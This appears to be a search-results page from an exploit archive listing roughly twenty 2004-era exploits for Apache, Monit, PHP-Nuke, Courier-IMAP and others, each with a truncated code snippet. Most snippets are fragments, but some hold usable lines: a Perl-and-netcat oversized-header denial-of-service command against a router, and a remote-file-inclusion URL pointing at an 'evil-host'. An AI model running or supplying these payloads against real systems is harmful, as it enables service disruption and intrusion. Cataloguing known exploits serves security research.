1704 matches found
Apache 2.0.52 Multiple Space Header DoS (c code)
Exploit for unknown platform in category dos / poc ================================================ Apache 2.0.52 Multiple Space Header DoS c code ================================================ /// Apache 2.0.52 and earlier DoS - Chintan Trivedi include "stdafx.h" include "winsock.h" include...
socat <= 1.4.0.2 Local Format String Exploit (not setuid)
Exploit for linux platform in category local exploits ========================================================= socat No System Group - http://www.nosystem.com.ar email protected:$ make socatexp email protected:$ ./socatexp socat shellcode address = 0xbfffffb9 .dtors address = 0x080740c4 2004/10/...
Monit <= 4.2 Basic Authentication Remote Root Exploit
Exploit for linux platform in category remote exploits ===================================================== Monit linuxmailorg - Abhisek Datta abhisekfrontru 06.04.2004 http://www.eos-india.net New Targets : RedHat 9 Fedora Core 2 Slackware 8.1 Update Code :...
Microsoft Windows NNTP Service (XPAT) - Denial of Service (MS04-036)
-- IIS NNTP Service XPAT command heap overflow proof of concept Author: Lucas Lavarello lucas at coresecurity dot com Juliano Rizzo juliano at coresecurity dot com Copyright c 2001-2004 CORE Security Technologies, CORE SDI Inc. All rights reserved. THIS SOFTWARE IS PROVIDED AS IS'' AND ANY EXPRES...
ocPortal 1.0.3 - Remote File Inclusion
ocPortal 1.0.3 - Remote File Inclusion http://localhost/ocp-103/index.php?reqpath=http ://evil-host/ On your evil host you must put scipt funcs.php. Example of funcs.php if your host doesn't support php. Example of funcs.php if your host support php. '; ?...
Microsoft ASP.NET 1.x - URI Canonicalization Unauthorized Web Access
source: https://www.securityfocus.com/bid/11342/info Microsoft ASP.NET is reported prone to a remote information-disclosure vulnerability because the application fails to properly secure documents when handling malformed URI requests. An attacker may leverage this issue to bypass authentication...
Radmin (Remote Administrator) Port 10002 - Possible GDI Compromise
The remote host is running radmin - a remote administration tool - on port 10002. This indicates that an attacker may have exploited one of the flaws described in MS04-028 with a widely available exploit. As a result, anyone may connect to the remote host and gain control by logging into the remo...
GNU Sharutils 4.2.1 - Local Format String
GNU Sharutils 4.2.1 - Local Format String / GNU sharutils include include include include include include include include include define GNUSOURCE define DEFAULTDTORS...
PopMessenger 1.60 - Remote Denial of Service
PopMessenger 1.60 - Remote Denial of Service ///////////////////////// popmsgboom.c / by Luigi Auriemma / include include include include ifdef WIN32 include include "winerr.h" define close closesocket else include include include include include include endif define VER "0.1" define PORT 8473...
Pinnacle ShowCenter 1.51 - Web Interface Skin Denial of Service
Pinnacle ShowCenter 1.51 - Web Interface Skin Denial of Service source: https://www.securityfocus.com/bid/11232/info The Pinnacle Systems ShowCenter web-based interface is reported prone to a remote denial of service vulnerability. The issue exists due to a lack of sanity checks performed on the...
PHP-Nuke - SQL Injection EditSave Messages
PHP-Nuke - SQL Injection EditSave Messages !/usr/bin/perl use LWP; $log = "poskomenphpnukesavemsg.txt"; $Agent = "Mbahmubangga/1.0"; $proxy = "http://172.9.1.11:80/"; proxy:port ... $browser = LWP::UserAgent-new; $browser - agent$Agent; $url = 'http://www.sitewithphpnuke.com/admin.php';...
Courier-IMAP 3.0.2-r1 - auth_debug() Remote Format String
Courier-IMAP 3.0.2-r1 - authdebug Remote Format String / courier-imap = 3.0.2-r1 Remote Format String Vulnerability exploit Author: ktha at hush dot com Tested on FreeBSD 4.10-RELEASE with courier-imap-3.0.2 Special thanks goes to andrewg for providing the FreeBSD box. Greetings: all the guys fro...
CVE-2002-1119
os.execvpe from os.py in Python 2.2.1 and earlier creates temporary files with predictable names, which could allow local users to execute arbitrary code via a symlink attack...
CesarFTP Server - Long Command Denial of Service
/ ----------------------------------------------------------------------- cesarftp.c - Cesar FTP Server Long Command DoS Exploit Copyright C 2000-2004 HUC All Rights Reserved. Author : lion : [email protected] : http://www.cnhonker.com Date : 2004-08-30...
MusicDaemon <= 0.0.3 /etc/shadow Stealer / DoS Exploit
Discovered and Exploit Coded by: Tal0n [email protected] URL: http://musicdaemon.sourceforge.net Note: This was 0day for several months.. I decided to turn it in because there may be 10 whole boxes in the world running this.. and its not very handy sitting around on my box =p. / MusicDaemon ...
PHP 4.3.7 - 'php-exec-dir' Patch Command Access Restriction Bypass
milw0rm.com 2004-08-08...
PHP 4.3.7 - php-exec-dir Patch Command Access Restriction Bypass
PHP 4.3.7 - php-exec-dir Patch Command Access Restriction Bypass milw0rm.com 2004-08-08...
Microsoft Internet Explorer - 'mshtml.dll' Remote Null Pointer Crash
Right Click aOn Me And Click "Save Target As" // milw0rm.com 2004-08-04...
Conceptronic CADSLR1 Router Denial of Service Vulnerability
No description provided by source. $ $victima="ip.victim" $ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$victima"'\r\nAuthorization: Basic " . 'A' x 65536 . "\r\n\r\n"' | nc -vvn $victima 80 milw0rm.com 2004-07-22...
Apache - Arbitrary Long HTTP Headers (Denial of Service)
/usr/bin/perl exploit for apache apgetmimeheaderscore vuln adv is here: http://www.guninski.com/httpd1.html version: apache 2 newPeerAddr = $host,PeerPort = $port, Proto = 'tcp' || die "new error$@\n"; binmode$sock; $hostname="Host: $host"; $buf2='A'x50; $buf4='A'x8183; $len=length$buf2; $buf="GE...